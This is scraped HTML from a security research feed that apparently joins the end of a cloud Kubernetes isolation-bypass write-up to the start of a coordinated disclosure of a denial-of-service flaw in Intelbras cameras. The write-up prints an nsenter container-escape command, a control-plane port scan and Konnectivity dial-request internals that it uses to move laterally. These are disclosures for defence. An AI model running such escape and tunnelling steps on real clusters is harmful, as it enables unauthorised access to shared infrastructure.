class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5a9429078871-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5a9429078871-1"><span class="crayon-v">nsenter</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-i">target</span><span class="crayon-h"> </span><span class="crayon-cn">1</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">mount</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">uts</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">ipc</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-v">net</span><span class="crayon-h"> </span><span class="crayon-o">--</span><span class="crayon-i">pid</span><span class="crayon-h"> </span>–<span class="crayon-h"> </span><span class="crayon-v">bash</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.</p> <div class="wp-caption aligncenter" id="attachment_121632-2" style="width: 1458px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1.png"><img alt="Kubelet configuration and API server address" aria-describedby="caption-attachment-121632-2" class="size-full wp-image-121632" decoding="async" height="1086" sizes="auto, (max-width: 1448px) 100vw, 1448px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1.png 1448w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-300x225.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-1024x768.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-768x576.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-200x150.png 200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-467x350.png 467w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-740x555.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-373x280.png 373w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192659/isolation-bypass1-800x600.png 800w" title="isolation-bypass1" width="1448" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121632-2">Kubelet configuration and API server address</p></div> <p>Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.</p> <div class="wp-caption aligncenter" id="attachment_121633-2" style="width: 2058px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2.png"><img alt="Konnectivity service account token" aria-describedby="caption-attachment-121633-2" class="size-full wp-image-121633" decoding="async" height="768" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-300x113.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-1024x384.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-768x288.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-1536x576.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-933x350.png 933w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-740x278.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-747x280.png 747w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/26192811/isolation-bypass2-800x300.png 800w" title="isolation-bypass2" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121633-2">Konnectivity service account token</p></div> <h3 id="1-2-analysis-of-control-plane-services">1.2. Analysis of control plane services</h3> <p>After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (<code>192.168.0.4</code>) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> 192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics"</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-6">6</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-1"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">9443</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">https </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">404</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-2"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">2380</span><span class="crayon-h"> </span><span class="crayon-i">open</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-3"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">6443</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">http </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">400</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-4"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">8132</span><span class="crayon-h"> </span><span class="crayon-i">open</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-5"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">9100</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">http </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">200</span><span class="crayon-h"> </span><span class="crayon-v">title</span><span class="crayon-o">=</span><span class="crayon-s">"Node Exporter"</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-6"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">9308</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">http </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">200</span><span class="crayon-h"> </span><span class="crayon-v">title</span><span class="crayon-o">=</span><span class="crayon-s">"kube-state-metrics"</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.</p> <div class="wp-caption alignnone" id="attachment_121662-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1.png"><img alt="" aria-describedby="caption-attachment-121662-2" class="size-large wp-image-121662" decoding="async" height="619" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-1024x619.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-1024x619.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-300x181.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-768x464.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-330x200.png 330w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-579x350.png 579w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-740x448.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-463x280.png 463w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-800x484.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1.png 1422w" title="EN_diagramm_An insecure neighbor vulnerability chain cloud infrastructure" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121662-2">Interaction diagram between control plane and data plane via Konnectivity</p></div> <h3 id="1-3-exploiting-konnectivity">1.3. Exploiting Konnectivity</h3> <p>To analyze the service on port 8132, we deployed a local test environment. We found that <code>v1.25.16+k0s.0</code> uses a <a href="https://github.com/k0sproject/apiserver-network-proxy" rel="noopener" target="_blank">fork of konnectivty-server</a>, inherited from apiserver-network-proxy in the original Kubernetes.</p> <p>A quick primer on <a href="https://github.com/k0sproject/k0s" rel="noopener" target="_blank">k0s</a>: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.</p> <p>Port 8132, mentioned above, hosts AgentService, which provides a single method: <code>Connect</code>. This method accepts a Packet stream.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} }</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b1567070905-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b1567070905-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b1567070905-3">3</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905-1"><span class="crayon-e">service</span><span class="crayon-h"> </span><span class="crayon-e">AgentService</span><span class="crayon-h"> </span><span class="crayon-sy">{</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905-2"><span class="crayon-h">  </span><span class="crayon-e">rpc </span><span class="crayon-e">Connect</span><span class="crayon-sy">(</span><span class="crayon-e">stream </span><span class="crayon-v">Packet</span><span class="crayon-sy">)</span><span class="crayon-h"> </span><span class="crayon-e">returns</span><span class="crayon-h"> </span><span class="crayon-sy">(</span><span class="crayon-e">stream </span><span class="crayon-v">Packet</span><span class="crayon-sy">)</span><span class="crayon-h"> </span><span class="crayon-sy">{</span><span class="crayon-sy">}</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905-3"><span class="crayon-sy">}</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>The code revealed an interesting detail: when AgentService receives a packet of the type <code>DIAL_REQ</code> from a worker node, the server calls the <code>net.Dial()</code> function on the control plane side. The packet structure for the Connect method looks like this:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5b3118858476" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b3118858476-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b3118858476-1"><span class="crayon-c">//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; }</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-6">6</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-7">7</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-8">8</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-9">9</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-10">10</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-11">11</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-12">12</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-13">13</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-14">14</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-15">15</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-16">16</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-17">17</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-18">18</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-19">19</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-20">20</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-21">21</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-22">22</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-23">23</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-24">24</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-25">25</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-26">26</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-27">27</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-1"><span class="crayon-t">enum</span><span class="crayon-h"> </span><span class="crayon-e">PacketType</span><span class="crayon-h"> </span><span class="crayon-sy">{</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-2"><span class="crayon-h">  </span><span class="crayon-v">DIAL_REQ</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-cn">0</span><span class="crayon-sy">;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-3"><span class="crayon-h">  </span><span class="crayon-v">DIAL_RSP</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-cn">1</span><span class="crayon-sy">;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-4"><span class="crayon-h">  </span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-5"><span class="crayon-sy">}</span></div></div></td></tr></table></div></div></div></div></div></div></div></div> https://securelist.com/cloud-infrastructure-isolation-bypass/121609/ cyber Tue, 27 Oct 2026 12:00:19 +0000 Millions of security cameras at risk: DoS vulnerability in Intelbras devices https://securelist.com/intelbras-camera-vulnerability/121131/ <img src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/13144449/IP-cameras-vulner-Intelbras-scaled.jpg" width="300" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/13144449/IP-cameras-vulner-Intelbras-1200x600.jpg" data-srcset="" decoding="async" height="600" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/13144449/IP-cameras-vulner-Intelbras-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/joaovictor/"> <span>João Victor</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="background">Background</h2> <p>Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.</p> <p>During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.</p> <p>Following our notification, Intelbras patched the vulnerability and released updated firmware (<a href="https://api-cronos.intelbras.com.br/download/MIBO-CAM-SD/CAMERASIM/prod/CAMERASIM-2.800.260804-2bff9ef9d4fddd76f271ff846a5c7dad.260804.zip" rel="nofollow noopener noreferrer" target="_blank">R.260804</a>) along with <a href="https://backend.intelbras.com/sites/default/files/2026-10/Atualizacao_firmware_Cameras_im_C_cartao_sd.pdf" rel="nofollow noopener noreferrer" target="_blank">update instructions</a>. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.</p> <h2 id="firmware">Firmware</h2> <p>Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1.png"><img alt="" class="aligncenter size-full wp-image-121189" decoding="async" height="625" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-300x92.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-1024x313.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-768x234.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-1536x469.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-1147x350.png 1147w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-740x226.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-918x280.png 918w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27134559/intelbras-camera-vulnerability1-800x244.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named <code>sonia</code>, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.</p> <h2 id="how-authentication-works">How authentication works</h2> <p>The <code>global.login</code> RPC method handles authentication at the <code><em>/RPC2_Login</em></code> endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication <code>challenge</code> (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the <code>encryption</code> field, a random value, and a <code>realm</code> (authentication scope). At this stage, a <code>false</code> response is normal and does not indicate a failed login, as the authentication process is not yet complete.</p> <p>Next, the client calculates the response password from the authentication <code>challenge</code>. It first generates an <em>MD5 (username:realm:original_password)</em> hash as the base. It then calculates a second MD5<em> (username:random:first_md5)</em> hash,  where<em> first_md5 </em>is the result of the previous step<em>.</em> To complete the authentication, the client sends this final result back to <code><em>/RPC2_Login</em></code> in a second <code>global.login</code> call, passing the username, calculated password, and temporary session ID.</p> <p>If the login is accepted, the camera returns <code>true</code> and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1.png"><img alt="" class="alignnone size-large wp-image-121658" decoding="async" height="778" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-1024x778.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-1024x778.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-300x228.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-768x584.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-461x350.png 461w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-740x562.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-368x280.png 368w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27100237/intelbras-new-scheme-1-800x608.png 800w, 